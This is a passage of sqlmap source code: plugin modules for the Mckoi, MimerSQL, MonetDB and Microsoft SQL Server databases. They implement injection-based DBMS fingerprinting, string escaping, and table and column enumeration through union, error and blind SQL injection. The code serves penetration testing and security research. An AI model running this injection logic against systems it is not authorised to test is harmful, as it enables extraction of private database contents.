writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Mckoi it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/mckoi/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MCKOI_ALIASES from lib.core.settings import MCKOI_DEFAULT_SCHEMA from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MCKOI) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MCKOI return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): setDbms(DBMS.MCKOI) return True infoMsg = "testing %s" % DBMS.MCKOI logger.info(infoMsg) result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") if result: infoMsg = "confirming %s" % DBMS.MCKOI logger.info(infoMsg) result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI logger.warning(warnMsg) return False setDbms(DBMS.MCKOI) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = MCKOI_DEFAULT_SCHEMA ================================================ FILE: plugins/dbms/mckoi/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/mckoi/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Mckoi it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Mckoi it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Mckoi it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Mckoi it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/mimersql/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MIMERSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mimersql.enumeration import Enumeration from plugins.dbms.mimersql.filesystem import Filesystem from plugins.dbms.mimersql.fingerprint import Fingerprint from plugins.dbms.mimersql.syntax import Syntax from plugins.dbms.mimersql.takeover import Takeover from plugins.generic.misc import Miscellaneous class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MimerSQL methods """ def __init__(self): self.excludeDbsList = MIMERSQL_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MIMERSQL] = Syntax.escape ================================================ FILE: plugins/dbms/mimersql/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import mimerpy except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/mimersql/MimerPy User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst API: https://www.python.org/dev/peps/pep-0249/ License: MIT """ def connect(self): self.initConnection() try: self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) except mimerpy.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except mimerpy.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except mimerpy.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/mimersql/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on MimerSQL it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on MimerSQL it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on MimerSQL it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/mimersql/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/mimersql/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MIMERSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MIMERSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MIMERSQL return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): setDbms(DBMS.MIMERSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.MIMERSQL logger.info(infoMsg) result = inject.checkBooleanExpression("IRAND() IS NOT NULL") if result: infoMsg = "confirming %s" % DBMS.MIMERSQL logger.info(infoMsg) result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL logger.warning(warnMsg) return False setDbms(DBMS.MIMERSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/mimersql/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/mimersql/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on MimerSQL it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on MimerSQL it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on MimerSQL it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on MimerSQL it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/monetdb/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MONETDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.monetdb.enumeration import Enumeration from plugins.dbms.monetdb.filesystem import Filesystem from plugins.dbms.monetdb.fingerprint import Fingerprint from plugins.dbms.monetdb.syntax import Syntax from plugins.dbms.monetdb.takeover import Takeover from plugins.generic.misc import Miscellaneous class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MonetDB methods """ def __init__(self): self.excludeDbsList = MONETDB_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MONETDB] = Syntax.escape ================================================ FILE: plugins/dbms/monetdb/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import pymonetdb except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/gijzelaerr/pymonetdb User guide: https://pymonetdb.readthedocs.io/en/latest/index.html API: https://www.python.org/dev/peps/pep-0249/ License: Mozilla Public License 2.0 """ def connect(self): self.initConnection() try: self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) except pymonetdb.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pymonetdb.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except pymonetdb.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/monetdb/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on MonetDB it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getPrivileges(self, *args, **kwargs): warnMsg = "on MonetDB it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on MonetDB it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on MonetDB it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/monetdb/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/monetdb/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MONETDB_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MONETDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MONETDB return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): setDbms(DBMS.MONETDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MONETDB logger.info(infoMsg) result = inject.checkBooleanExpression("isaurl(NULL)=false") if result: infoMsg = "confirming %s" % DBMS.MONETDB logger.info(infoMsg) result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB logger.warning(warnMsg) return False setDbms(DBMS.MONETDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/monetdb/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" True """ def escaper(value): return "||".join("CODE(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/monetdb/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on MonetDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on MonetDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on MonetDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on MonetDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/mssqlserver/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mssqlserver.enumeration import Enumeration from plugins.dbms.mssqlserver.filesystem import Filesystem from plugins.dbms.mssqlserver.fingerprint import Fingerprint from plugins.dbms.mssqlserver.syntax import Syntax from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape ================================================ FILE: plugins/dbms/mssqlserver/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql except: pass import logging from lib.core.common import getSafeExString from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://www.pymssql.org/en/stable/ User guide: http://www.pymssql.org/en/stable/pymssql_examples.html API: http://www.pymssql.org/en/stable/ref/pymssql.html Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: raise SqlmapConnectionException(getSafeExString(ex)) except ValueError: raise SqlmapConnectionException self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(getText(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) except pymssql.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal ================================================ FILE: plugins/dbms/mssqlserver/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration from thirdparty import six class Enumeration(GenericEnumeration): def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warning(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = [_ for _ in arrayizeValue(value) if _] value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warning(warnMsg) continue tables = [] for index in xrange(int(count)): _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warning(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def searchTable(self): foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, six.string_types): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): rootQuery = queries[DBMS.MSSQL].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, six.string_types): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == '1': conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: 